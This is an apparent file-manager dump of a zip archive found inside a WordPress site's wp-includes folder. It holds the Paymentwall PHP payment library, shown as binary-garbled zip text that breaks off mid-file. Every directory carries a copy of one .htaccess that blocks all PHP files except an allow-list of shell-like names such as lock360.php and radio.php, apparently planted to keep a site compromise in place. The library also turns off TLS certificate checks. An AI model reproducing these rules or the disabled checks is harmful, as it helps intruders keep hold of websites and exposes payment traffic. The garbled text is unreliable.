���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/paymentwall.zip
���ѧ٧ѧ�
PK 'u\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 'u\9��ܤ � paymentwall-php/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 'u\+� � paymentwall-php/composer.jsonnu �[��� { "name": "paymentwall/paymentwall-php", "description": "Paymentwall PHP Library. Paymentwall is the leading digital payments platform for globally monetizing digital goods and services.", "version": "2.2.4", "type": "library", "homepage": "https://www.paymentwall.com/?source=gh", "keywords": [ "paymentwall", "api", "payments", "carrier billing", "credit cards", "alternative payments", "monetization", "recurring billing", "payment processing" ], "license": "MIT", "authors": [ { "name": "Paymentwall Team", "email": "devsupport@paymentwall.com" } ], "require": { "php": ">=5.2", "ext-curl": "*", "ext-json": "*" }, "require-dev": { "behat/behat": "2.4.*@stable" }, "scripts": { "test": [ "@composer install", "vendor/behat/behat/bin/behat" ] }, "config": { "bin-dir": "bin/" }, "autoload": { "classmap": ["lib/Paymentwall/"] }, "minimum-stability": "dev" } PK 'u\M�ySA A paymentwall-php/LICENSEnu �[��� The MIT License (MIT) Copyright (c) 2010-2015 Paymentwall, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK 'u\�؝S� � paymentwall-php/.gitignorenu �[��� # Vagrant .vagrant/* Vagrantfile # SublimeText *.sublime-project *.sublime-workspace # Composer composer.phar vendor/ composer.lock # Behat behat*PK 'u\�r�� � # paymentwall-php/lib/paymentwall.phpnu �[��� <?php if (!function_exists('curl_init')) { throw new Exception('CURL PHP extension is required'); } if (!function_exists('json_decode')) { throw new Exception('JSON PHP extension is required'); } require_once(dirname(__FILE__) . '/Paymentwall/Instance.php'); require_once(dirname(__FILE__) . '/Paymentwall/Config.php'); require_once(dirname(__FILE__) . '/Paymentwall/Base.php'); require_once(dirname(__FILE__) . '/Paymentwall/Product.php'); require_once(dirname(__FILE__) . '/Paymentwall/Widget.php'); require_once(dirname(__FILE__) . '/Paymentwall/Pingback.php'); require_once(dirname(__FILE__) . '/Paymentwall/Card.php'); require_once(dirname(__FILE__) . '/Paymentwall/ApiObject.php'); require_once(dirname(__FILE__) . '/Paymentwall/ApiObjectInterface.php'); require_once(dirname(__FILE__) . '/Paymentwall/OneTimeToken.php'); require_once(dirname(__FILE__) . '/Paymentwall/Charge.php'); require_once(dirname(__FILE__) . '/Paymentwall/Subscription.php'); require_once(dirname(__FILE__) . '/Paymentwall/HttpAction.php'); require_once(dirname(__FILE__) . '/Paymentwall/Signature/Abstract.php'); require_once(dirname(__FILE__) . '/Paymentwall/Signature/Widget.php'); require_once(dirname(__FILE__) . '/Paymentwall/Signature/Pingback.php'); require_once(dirname(__FILE__) . '/Paymentwall/Response/Factory.php'); require_once(dirname(__FILE__) . '/Paymentwall/Response/Abstract.php'); require_once(dirname(__FILE__) . '/Paymentwall/Response/Interface.php'); require_once(dirname(__FILE__) . '/Paymentwall/Response/Success.php'); require_once(dirname(__FILE__) . '/Paymentwall/Response/Error.php'); require_once(dirname(__FILE__) . '/Paymentwall/GenerericApiObject.php'); require_once(dirname(__FILE__) . '/Paymentwall/Mobiamo.php');PK 'u\9��ܤ � paymentwall-php/lib/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 'u\�x�$� � * paymentwall-php/lib/Paymentwall/Config.phpnu �[��� <?php class Paymentwall_Config { const VERSION = '2.0.0'; const API_BASE_URL = 'https://api.paymentwall.com/api'; const API_VC = 1; const API_GOODS = 2; const API_CART = 3; protected $apiType = self::API_GOODS; protected $publicKey; protected $privateKey; protected $apiBaseUrl = self::API_BASE_URL; private static $instance; public function getApiBaseUrl() { return $this->apiBaseUrl; } public function setApiBaseUrl($url = '') { $this->apiBaseUrl = $url; } public function getLocalApiType() { return $this->apiType; } public function setLocalApiType($apiType = 0) { $this->apiType = $apiType; } public function getPublicKey() { return $this->publicKey; } public function setPublicKey($key = '') { $this->publicKey = $key; } public function getPrivateKey() { return $this->privateKey; } public function setPrivateKey($key = '') { $this->privateKey = $key; } public function getVersion() { return self::VERSION; } public function isTest() { return strpos($this->getPublicKey(), 't_') === 0; } public function set($config = []) { if (isset($config['api_base_url'])) { $this->setApiBaseUrl($config['api_base_url']); } if (isset($config['api_type'])) { $this->setLocalApiType($config['api_type']); } if (isset($config['public_key'])) { $this->setPublicKey($config['public_key']); } if (isset($config['private_key'])) { $this->setPrivateKey($config['private_key']); } } /** * @return $this Returns class instance. */ public static function getInstance() { if (!isset(self::$instance)) { $className = __CLASS__; self::$instance = new $className; } return self::$instance; } protected function __construct() { } private function __clone() { } } PK 'u\9��ܤ � ) paymentwall-php/lib/Paymentwall/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 'u\�r�� � . paymentwall-php/lib/Paymentwall/HttpAction.phpnu �[��� <?php class Paymentwall_HttpAction extends Paymentwall_Instance { protected $apiObject; protected $apiParams = []; protected $apiHeaders = []; protected $responseLogInformation = []; public function __construct($object, $params = [], $headers = []) { $this->setApiObject($object); $this->setApiParams($params); $this->setApiHeaders($headers); } public function getApiObject() { return $this->apiObject; } public function setApiObject(Paymentwall_ApiObject $apiObject) { $this->apiObject = $apiObject; } public function getApiParams() { return $this->apiParams; } public function setApiParams($params = []) { $this->apiParams = $params; } public function getApiHeaders() { return $this->apiHeaders; } public function setApiHeaders($headers = []) { $this->apiHeaders = $headers; } public function run() { $result = null; if ($this->getApiObject() instanceof Paymentwall_ApiObject) { $result = $this->apiObjectPostRequest($this->getApiObject()); } return $result; } public function apiObjectPostRequest(Paymentwall_ApiObject $object) { return $this->request('POST', $object->getApiUrl(), $this->getApiParams(), $this->getApiHeaders()); } public function post($url = '') { return $this->request('POST', $url, $this->getApiParams(), $this->getApiHeaders()); } public function get($url = '') { return $this->request('GET', $url, $this->getApiParams(), $this->getApiHeaders()); } protected function request($httpVerb = '', $url = '', $params = [], $customHeaders = []) { $curl = curl_init(); $headers = [ $this->getLibraryDefaultRequestHeader() ]; if (!empty($customHeaders)) { $headers = array_merge($headers, $customHeaders); } if (!empty($params)) { curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); } // CURL_SSLVERSION_TLSv1_2 is defined in libcurl version 7.34 or later // but unless PHP has been compiled with the correct libcurl headers it // won't be defined in your PHP instance. PHP > 5.5.19 or > 5.6.3 if (! defined('CURL_SSLVERSION_TLSv1_2')) { define('CURL_SSLVERSION_TLSv1_2', 6); } curl_setopt($curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $httpVerb); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_HEADER, true); $response = curl_exec($curl); $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE); $header = substr($response, 0, $headerSize); $body = substr($response, $headerSize); $this->responseLogInformation = [ 'header' => $header, 'body' => $body, 'status' => curl_getinfo($curl, CURLINFO_HTTP_CODE) ]; curl_close($curl); return $this->prepareResponse($body); } protected function getLibraryDefaultRequestHeader() { return 'User-Agent: Paymentwall PHP Library v. ' . $this->getConfig()->getVersion(); } protected function prepareResponse($string = '') { return preg_replace('/\x{FEFF}/u', '', $string); } public function getResponseLogInformation() { return $this->responseLogInformation; } }PK 'u\��� + paymentwall-php/lib/Paymentwall/Mobiamo.phpnu �[��� <?php class Paymentwall_Mobiamo extends Paymentwall_ApiObject { protected $token; const API_OBJECT_MOBIAMO = 'mobiamo'; public function getEndpointName() { return self::API_OBJECT_MOBIAMO; } public function getToken($params){ $defaultParams = [ 'key' => $this->getConfig()->getPublicKey(), 'ts' => time(), 'sign_version' => Paymentwall_Signature_Abstract::VERSION_TWO ]; $params = array_merge($defaultParams, $params); $params['sign'] = $this->calculateSignature($params); $this->doApiAction('token', 'post', $params); return $this->getProperties(); } public function initPayment($token, $params){ $this->token = $token; $params['key'] = $this->getConfig()->getPublicKey(); $this->doApiAction('init-payment', 'post', $params); return $this->getProperties(); } public function processPayment($token, $params){ $this->token = $token; $params['key'] = $this->getConfig()->getPublicKey(); $this->doApiAction('process-payment', 'post', $params); return $this->getProperties(); } public function getPaymentInfo($token, $params){ $this->token = $token; $params['key'] = $this->getConfig()->getPublicKey(); $this->doApiAction('get-payment', 'post', $params); return $this->getProperties(); } protected function calculateSignature($params = []) { $baseString = ''; $this->ksortMultiDimensional($params); $baseString = $this->prepareParams($params, $baseString); $baseString .= $this->getConfig()->getPrivateKey(); return md5($baseString); } protected function prepareParams($params = [], $baseString = '') { foreach ($params as $key => $value) { if (is_array($value)) { foreach ($value as $k => $v) { $baseString .= $key . '[' . $k . ']' . '=' . $v; } } else { $baseString .= $key . '=' . $value; } } return $baseString; } protected function ksortMultiDimensional(&$params = []) { if (is_array($params)) { ksort($params); foreach ($params as &$p) { if (is_array($p)) { ksort($p); } } } } public function getApiUrl() { if ($this->getEndpointName() === self::API_OBJECT_ONE_TIME_TOKEN && !$this->getConfig()->isTest()) { return Paymentwall_OneTimeToken::GATEWAY_TOKENIZATION_URL; } else { return $this->getApiBaseUrl() . '/' . $this->getEndpointName(); } } protected function doApiAction($action = '', $method = 'post', $params = []) { $actionUrl = $this->getApiUrl() . '/' . $action; $httpAction = new Paymentwall_HttpAction($this, $params, [$this->getApiBaseHeader()]); $this->setPropertiesFromResponse( $method == 'get' ? $httpAction->get($actionUrl) : $httpAction->post($actionUrl) ); return $this; } protected function getApiBaseHeader() { if ($this->token){ return 'token: ' . $this->token; } return ''; } } PK 'u\Q�S� � ( paymentwall-php/lib/Paymentwall/Base.phpnu �[��� <?php /** * Class Paymentwall_Base * @deprecated */ class Paymentwall_Base extends Paymentwall_Config { public static function setApiType($apiType = 0) { return self::getInstance()->setLocalApiType($apiType); } public static function setAppKey($appKey = '') { return self::getInstance()->setPublicKey($appKey); } public static function setSecretKey($secretKey = '') { return self::getInstance()->setPrivateKey($secretKey); } }PK 'u\^�@� � - paymentwall-php/lib/Paymentwall/ApiObject.phpnu �[��� <?php abstract class Paymentwall_ApiObject extends Paymentwall_Instance { const API_BRICK_SUBPATH = 'brick'; const API_OBJECT_CHARGE = 'charge'; const API_OBJECT_SUBSCRIPTION = 'subscription'; const API_OBJECT_ONE_TIME_TOKEN = 'token'; protected $properties = []; protected $_id; protected $_rawResponse = ''; protected $_responseLogInformation = []; protected $brickSubEndpoints = [ self::API_OBJECT_CHARGE, self::API_OBJECT_SUBSCRIPTION, self::API_OBJECT_ONE_TIME_TOKEN ]; abstract function getEndpointName(); public function __construct($id = '') { if (!empty($id)) { $this->_id = $id; } } public final function create($params = []) { $httpAction = new Paymentwall_HttpAction($this, $params, [ $this->getApiBaseHeader() ]); $this->setPropertiesFromResponse($httpAction->run()); return $this; } public function __get($property) { return isset($this->properties[$property]) ? $this->properties[$property] : null; } public function getApiUrl() { if ($this->getEndpointName() === self::API_OBJECT_ONE_TIME_TOKEN && !$this->getConfig()->isTest()) { return Paymentwall_OneTimeToken::GATEWAY_TOKENIZATION_URL; } else { return $this->getApiBaseUrl() . $this->getSubPath() . '/' . $this->getEndpointName(); } } /** * Returns raw data about the response that can be presented to the end-user: * success => 0 or 1 * error => * message - human-readable error message * code - error code, see https://www.paymentwall.com/us/documentation/Brick/2968#error * secure => * formHTML - needed to complete 3D Secure step, HTML of the form to be submitted to the user to redirect him to the bank page * * @return array * */ public function _getPublicData() { /*$responseModel = Paymentwall_Response_Factory::get($this->getPropertiesFromResponse()); return $responseModel instanceof Paymentwall_Response_Interface ? $responseModel->process() : '';*/ /** * @todo encapsulate this into Paymentwall_Response_Factory better; right now it returns success=1 for 3ds case */ $response = $this->getPropertiesFromResponse(); $result = []; if (isset($response['type']) && $response['type'] == 'Error') { $result = [ 'success' => 0, 'error' => [ 'message' => $response['error'], 'code' => $response['code'] ] ]; } elseif (!empty($response['secure'])) { $result = [ 'success' => 0, 'secure' => $response['secure'] ]; } elseif ($this->isSuccessful()) { $result['success'] = 1; } else { $result = [ 'success' => 0, 'error' => [ 'message' => 'Internal error' ] ]; } return $result; } /** * @return string json encoded result of ApiObject::getPublicData() */ public function getPublicData() { return json_encode($this->_getPublicData()); } public function getProperties() { return $this->properties; } public function getRawResponseData() { return $this->_rawResponse; } protected function setPropertiesFromResponse($response = '') { if (!empty($response)) { $this->_rawResponse = $response; $this->properties = (array) $this->preparePropertiesFromResponse($response); } else { throw new Exception('Empty response'); } } protected function getSubPath() { return (in_array($this->getEndpointName(), $this->brickSubEndpoints)) ? '/' . self::API_BRICK_SUBPATH : ''; } protected function getPropertiesFromResponse() { return $this->properties; } protected function preparePropertiesFromResponse($string = '') { return json_decode($string, false); } protected function getApiBaseHeader() { return 'X-ApiKey: ' . $this->getPrivateKey(); } protected function doApiAction($action = '', $method = 'post') { $actionUrl = $this->getApiUrl() . '/' . $this->_id . '/' . $action; $httpAction = new Paymentwall_HttpAction($this, ['id' => $this->_id], [ $this->getApiBaseHeader() ]); $this->_responseLogInformation = $httpAction->getResponseLogInformation(); $this->setPropertiesFromResponse( $method == 'get' ? $httpAction->get($actionUrl) : $httpAction->post($actionUrl) ); return $this; } public function getResponseLogInformation() { return $this->_responseLogInformation; } }PK 'u\��[�n n + paymentwall-php/lib/Paymentwall/Product.phpnu �[��� <?php class Paymentwall_Product { const TYPE_SUBSCRIPTION = 'subscription'; const TYPE_FIXED = 'fixed'; const PERIOD_TYPE_DAY = 'day'; const PERIOD_TYPE_WEEK = 'week'; const PERIOD_TYPE_MONTH = 'month'; const PERIOD_TYPE_YEAR = 'year'; public $productId; public $amount; public $currencyCode; public $name; public $productType; public $periodLength; public $periodType; public $recurring; public $trialProduct; public function __construct($productId, $amount = 0.0, $currencyCode = null, $name = null, $productType = self::TYPE_FIXED, $periodLength = 0, $periodType = null, $recurring = false, Paymentwall_Product $trialProduct = null) { $this->productId = $productId; $this->amount = round($amount, 2); $this->currencyCode = $currencyCode; $this->name = $name; $this->productType = $productType; $this->periodLength = $periodLength; $this->periodType = $periodType; $this->recurring = $recurring; $this->trialProduct = ($productType == Paymentwall_Product::TYPE_SUBSCRIPTION && $recurring) ? $trialProduct : null; } public function getId() { return $this->productId; } public function getAmount() { return $this->amount; } public function getCurrencyCode() { return $this->currencyCode; } public function getName() { return $this->name; } public function getType() { return $this->productType; } public function getPeriodType() { return $this->periodType; } public function getPeriodLength() { return $this->periodLength; } public function isRecurring() { return $this->recurring; } public function getTrialProduct() { return $this->trialProduct; } }PK 'u\9��ܤ � 3 paymentwall-php/lib/Paymentwall/Signature/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 'u\x�u�� � 6 paymentwall-php/lib/Paymentwall/Signature/Abstract.phpnu �[��� <?php abstract class Paymentwall_Signature_Abstract extends Paymentwall_Instance { const VERSION_ONE = 1; const VERSION_TWO = 2; const VERSION_THREE = 3; const DEFAULT_VERSION = 3; abstract function process($params = [], $version = 0); abstract function prepareParams($params = [], $baseString = ''); public final function calculate($params = [], $version = 0) { return $this->process($params, $version); } protected static function ksortMultiDimensional(&$params = []) { if (is_array($params)) { ksort($params); foreach ($params as &$p) { if (is_array($p)) { self::ksortMultiDimensional($p); } } } } }PK 'u\�[X; 4 paymentwall-php/lib/Paymentwall/Signature/Widget.phpnu �[��� <?php class Paymentwall_Signature_Widget extends Paymentwall_Signature_Abstract { public function process($params = [], $version = 0) { $baseString = ''; if ($version == self::VERSION_ONE) { $baseString .= isset($params['uid']) ? $params['uid'] : ''; $baseString .= $this->getConfig()->getPrivateKey(); return md5($baseString); } else { self::ksortMultiDimensional($params); $baseString = $this->prepareParams($params, $baseString); $baseString .= $this->getConfig()->getPrivateKey(); if ($version == self::VERSION_TWO) { return md5($baseString); } return hash('sha256', $baseString); } } public function prepareParams($params = [], $baseString = '') { foreach ($params as $key => $value) { if (!isset($value)) { continue; } if (is_array($value)) { foreach ($value as $k => $v) { $baseString .= $key . '[' . $k . ']' . '=' . ($v === false ? '0' : $v); } } else { $baseString .= $key . '=' . ($value === false ? '0' : $value); } } return $baseString; } } PK 'u\�MIW W 6 paymentwall-php/lib/Paymentwall/Signature/Pingback.phpnu �[��� <?php class Paymentwall_Signature_Pingback extends Paymentwall_Signature_Abstract { public function process($params = [], $version = 0) { $baseString = ''; unset($params['sig']); if ($version == self::VERSION_TWO || $version == self::VERSION_THREE) { self::ksortMultiDimensional($params); } $baseString = $this->prepareParams($params, $baseString); $baseString .= $this->getConfig()->getPrivateKey(); if ($version == self::VERSION_THREE) { return hash('sha256', $baseString); } return md5($baseString); } public function prepareParams($params = [], $baseString = '') { foreach ($params as $key => $value) { if (is_array($value)) { foreach ($value as $k => $v) { $baseString .= $key . '[' . $k . ']' . '=' . $v; } } else { $baseString .= $key . '=' . $value; } } return $baseString; } }PK 'u\9��ܤ � 2 paymentwall-php/lib/Paymentwall/Response/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 'u\.�rO O 5 paymentwall-php/lib/Paymentwall/Response/Abstract.phpnu �[��� <?php abstract class Paymentwall_Response_Abstract { protected $response; public function __construct($response = []) { $this->response = $response; } protected function wrapInternalError() { $response = [ 'success' => 0, 'error' => [ 'message' => 'Internal error' ] ]; return json_encode($response); } }PK 'u\YH|KO O 6 paymentwall-php/lib/Paymentwall/Response/Interface.phpnu �[��� <?php interface Paymentwall_Response_Interface { public function process(); }PK 'u\y�}3 3 4 paymentwall-php/lib/Paymentwall/Response/Success.phpnu �[��� <?php class Paymentwall_Response_Success extends Paymentwall_Response_Abstract implements Paymentwall_Response_Interface { public function process() { if (!isset($this->response)) { return $this->wrapInternalError(); } $response = [ 'success' => 1 ]; return json_encode($response); } }PK 'u\K� � � 2 paymentwall-php/lib/Paymentwall/Response/Error.phpnu �[��� <?php class Paymentwall_Response_Error extends Paymentwall_Response_Abstract implements Paymentwall_Response_Interface { public function process() { if (!isset($this->response)) { return $this->wrapInternalError(); } $response = [ 'success' => 0, 'error' => $this->getErrorMessageAndCode($this->response) ]; return json_encode($response); } public function getErrorMessageAndCode($response) { return [ 'message' => $response['error'], 'code' => $response['code'] ]; } }PK 'u\�}{�D D 4 paymentwall-php/lib/Paymentwall/Response/Factory.phpnu �[��� <?php class Paymentwall_Response_Factory { const CLASS_NAME_PREFIX = 'Paymentwall_Response_'; const RESPONSE_SUCCESS = 'success'; const RESPONSE_ERROR = 'error'; public static function get($response = []) { $responseModel = null; $responseModel = self::getClassName($response); return new $responseModel($response); } public static function getClassName($response = []) { $responseType = (isset($response['type']) && $response['type'] == 'Error') ? self::RESPONSE_ERROR : self::RESPONSE_SUCCESS; return self::CLASS_NAME_PREFIX . ucfirst($responseType); } }PK 'u\�}x� � 6 paymentwall-php/lib/Paymentwall/GenerericApiObject.phpnu �[��� <?php class Paymentwall_GenerericApiObject extends Paymentwall_ApiObject { /** * API type * * @var string */ protected $api; /** * Paymentwall_HttpAction object * * @var \Paymentwall_HttpAction */ protected $httpAction; /** * @see \Paymentwall_ApiObject */ public function getEndpointName() { return $this->api; } public function __construct($type) { $this->api = $type; $this->httpAction = new Paymentwall_HttpAction($this); } /** * Make post request * * @param array $params * @param array $headers * * @return array */ public function post($params = [], $headers = []) { if (empty($params)) { return null; } $this->httpAction->setApiParams($params); $this->httpAction->setApiHeaders(array_merge([$this->getApiBaseHeader()], $headers)); return (array) $this->preparePropertiesFromResponse( $this->httpAction->post( $this->getApiUrl() ) ); } }PK 'u\�ӷ�n n 0 paymentwall-php/lib/Paymentwall/Subscription.phpnu �[��� <?php class Paymentwall_Subscription extends Paymentwall_ApiObject { public function getId() { return $this->id; } public function isTrial() { return $this->is_trial; } public function isActive() { return $this->active; } public function isSuccessful() { return $this->object == self::API_OBJECT_SUBSCRIPTION; } public function isExpired() { return $this->expired; } public function getEndpointName() { return self::API_OBJECT_SUBSCRIPTION; } public function get() { return $this->doApiAction('', 'get'); } public function cancel() { return $this->doApiAction('cancel'); } }PK 'u\���w� � 0 paymentwall-php/lib/Paymentwall/OneTimeToken.phpnu �[��� <?php class Paymentwall_OneTimeToken extends Paymentwall_ApiObject { const GATEWAY_TOKENIZATION_URL = 'https://pwgateway.com/api/token'; public function getToken() { return $this->token; } public function isTest() { return $this->test; } public function isActive() { return $this->active; } public function getExpirationTime() { return $this->expires_in; } public function getEndpointName() { return self::API_OBJECT_ONE_TIME_TOKEN; } }PK 'u\�5No� � ( paymentwall-php/lib/Paymentwall/Card.phpnu �[��� <?php class Paymentwall_Card { protected $fields = []; public $token; public $type; public $last4; public $exp_month; public $exp_year; public function __construct($details = []) { $this->fields = (array) $details; } public function __get($property) { return isset($this->fields[$property]) ? $this->fields[$property] : null; } public function getToken() { return $this->token; } public function getType() { return $this->type; } public function getAlias() { return $this->last4; } public function getMonthExpirationDate() { return $this->exp_month; } public function getYearExpirationDate() { return $this->exp_year; } }PK 'u\ 1��c c * paymentwall-php/lib/Paymentwall/Charge.phpnu �[��� <?php class Paymentwall_Charge extends Paymentwall_ApiObject implements Paymentwall_ApiObjectInterface { public $card; public function getId() { return $this->id; } public function isTest() { return $this->test; } public function isSuccessful() { return $this->object == self::API_OBJECT_CHARGE; } public function isCaptured() { return $this->captured; } public function isUnderReview() { return $this->risk == 'pending'; } public function isRefunded() { return $this->refunded; } public function setPropertiesFromResponse($response = '') { parent::setPropertiesFromResponse($response); $this->card = new Paymentwall_Card($this->card); } public function getEndpointName() { return self::API_OBJECT_CHARGE; } public function getCard() { return new Paymentwall_Card($this->card); } public function get() { return $this->doApiAction('', 'get'); } public function refund() { return $this->doApiAction('refund'); } public function capture() { return $this->doApiAction('capture'); } public function void() { return $this->doApiAction('void'); } }PK 'u\�Ŕ4 4 * paymentwall-php/lib/Paymentwall/Widget.phpnu �[��� <?php class Paymentwall_Widget extends Paymentwall_Instance { const CONTROLLER_PAYMENT_VIRTUAL_CURRENCY = 'ps'; const CONTROLLER_PAYMENT_DIGITAL_GOODS = 'subscription'; const CONTROLLER_PAYMENT_CART = 'cart'; protected $userId; protected $widgetCode; protected $products; protected $extraParams; public function __construct($userId, $widgetCode = '', $products = [], $extraParams = []) { $this->userId = $userId; $this->widgetCode = $widgetCode; $this->products = $products; $this->extraParams = $extraParams; } public function getUrl() { $params = [ 'key' => $this->getPublicKey(), 'uid' => $this->userId, 'widget' => $this->widgetCode ]; $productsNumber = count($this->products); if ($this->getApiType() == Paymentwall_Config::API_GOODS) { if (!empty($this->products)) { if ($productsNumber == 1) { $product = current($this->products); if ($product->getTrialProduct() instanceof Paymentwall_Product) { $postTrialProduct = $product; $product = $product->getTrialProduct(); } $params['amount'] = $product->getAmount(); $params['currencyCode'] = $product->getCurrencyCode(); $params['ag_name'] = $product->getName(); $params['ag_external_id'] = $product->getId(); $params['ag_type'] = $product->getType(); if ($product->getType() == Paymentwall_Product::TYPE_SUBSCRIPTION) { $params['ag_period_length'] = $product->getPeriodLength(); $params['ag_period_type'] = $product->getPeriodType(); if ($product->isRecurring()) { $params['ag_recurring'] = intval($product->isRecurring()); if (isset($postTrialProduct)) { $params['ag_trial'] = 1; $params['ag_post_trial_external_id'] = $postTrialProduct->getId(); $params['ag_post_trial_period_length'] = $postTrialProduct->getPeriodLength(); $params['ag_post_trial_period_type'] = $postTrialProduct->getPeriodType(); $params['ag_post_trial_name'] = $postTrialProduct->getName(); $params['post_trial_amount'] = $postTrialProduct->getAmount(); $params['post_trial_currencyCode'] = $postTrialProduct->getCurrencyCode(); } } } } else { //TODO: $this->appendToErrors('Only 1 product is allowed in flexible widget call'); } } } else if ($this->getApiType() == Paymentwall_Config::API_CART) { $external_ids = []; $prices = []; $currencies = []; $names = []; foreach ($this->products as $product) { $external_ids[] = $product->getId(); $prices[] = $product->amount ?: 0; $currencies[] = $product->currencyCode ?: ''; $names[] = $product->name ?: ''; } $params['external_ids'] = $external_ids; if (!empty($prices)) { $params['prices'] = $prices; } if (!empty($currencies)) { $params['currencies'] = $currencies; } if (array_filter($names)) { $params['names'] = $names; } } $params['sign_version'] = $signatureVersion = $this->getDefaultSignatureVersion(); if (!empty($this->extraParams['sign_version'])) { $signatureVersion = $params['sign_version'] = $this->extraParams['sign_version']; } $params = array_merge($params, $this->extraParams); $widgetSignatureModel = new Paymentwall_Signature_Widget(); $params['sign'] = $widgetSignatureModel->calculate( $params, $signatureVersion ); return $this->getApiBaseUrl() . '/' . $this->buildController($this->widgetCode) . '?' . http_build_query($params); } public function getHtmlCode($attributes = []) { $defaultAttributes = [ 'frameborder' => '0', 'width' => '750', 'height' => '800' ]; $attributes = array_merge($defaultAttributes, $attributes); $attributesQuery = ''; foreach ($attributes as $attr => $value) { $attributesQuery .= ' ' . $attr . '="' . $value . '"'; } return '<iframe src="' . $this->getUrl() . '" ' . $attributesQuery . '></iframe>'; } protected function getDefaultSignatureVersion() { return $this->getApiType() != Paymentwall_Config::API_CART ? Paymentwall_Signature_Abstract::DEFAULT_VERSION : Paymentwall_Signature_Abstract::VERSION_TWO; } protected function buildController($widget = '') { $controller = null; $isPaymentWidget = !preg_match('/^w|s|mw/', $widget); if ($this->getApiType()== Paymentwall_Config::API_VC) { if ($isPaymentWidget) { $controller = self::CONTROLLER_PAYMENT_VIRTUAL_CURRENCY; } } else if ($this->getApiType() == Paymentwall_Config::API_GOODS) { /** * @todo cover case with offer widget for digital goods for non-flexible widget call */ $controller = self::CONTROLLER_PAYMENT_DIGITAL_GOODS; } else { $controller = self::CONTROLLER_PAYMENT_CART; } return $controller; } } PK 'u\vQS� � , paymentwall-php/lib/Paymentwall/Pingback.phpnu �[��� <?php class Paymentwall_Pingback extends Paymentwall_Instance { const PINGBACK_TYPE_REGULAR = 0; const PINGBACK_TYPE_GOODWILL = 1; const PINGBACK_TYPE_NEGATIVE = 2; const PINGBACK_TYPE_RISK_UNDER_REVIEW = 200; const PINGBACK_TYPE_RISK_REVIEWED_ACCEPTED = 201; const PINGBACK_TYPE_RISK_REVIEWED_DECLINED = 202; const PINGBACK_TYPE_RISK_AUTHORIZATION_VOIDED = 203; const PINGBACK_TYPE_SUBSCRIPTION_CANCELLATION = 12; const 